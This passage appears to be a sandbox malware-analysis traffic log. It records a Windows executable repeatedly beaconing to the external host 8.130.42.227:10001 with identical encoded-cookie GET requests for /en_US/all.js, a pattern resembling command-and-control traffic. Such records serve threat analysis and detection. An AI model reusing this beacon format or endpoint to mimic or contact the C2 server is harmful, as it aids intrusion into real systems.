Oct 1, 2024 09:18:50.912420034 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:51.880003929 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:51 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49833	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:51.999813080 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:53.537100077 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:53 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49834	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:53.834593058 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:55.387809038 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:55 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49835	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:55.513971090 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:56.475521088 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:56 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49836	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:56.593599081 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:57.540667057 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:57 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49837	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:57.656733036 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:58.615809917 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:58 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49838	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:58.742556095 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:59.713992119 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:59 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49839	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:59.848725080 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:00.832353115 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:00 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49840	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:01.118943930 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:02.068789005 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:01 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49841	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:02.204703093 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:03.153043985 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:02 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49842	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:03.290126085 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:04.241883039 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:04 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49843	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:04.541111946 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:05.506321907 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:05 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49844	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:05.639437914 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:06.611948967 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:06 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49845	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:06.769355059 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:07.713140011 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:07 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49846	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:07.890803099 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:08.837522984 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:08 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49847	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:08.967098951 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:09.922214985 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:09 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49848	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:10.142796040 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:11.239603996 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:11 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49849	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:11.404921055 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:12.383945942 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:12 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49850	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:12.566149950 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:13.536622047 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:13 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49851	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:13.654870033 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:14.618599892 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:14 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49852	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:14.780076981 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:15.770656109 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:15 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49853	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:15.970824957 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:16.917601109 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:16 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49854	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:17.060981989 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:18.005870104 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:17 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49855	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:18.191450119 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:19.142124891 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:18 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49856	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:19.264523983 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:20.207957983 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:20 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49857	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:20.330912113 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:21.334633112 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:21 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49858	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:21.464631081 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:22.470978975 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:22 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49859	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:22.655162096 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:23.599531889 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:23 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49860	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:23.878797054 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:24.837048054 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:24 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
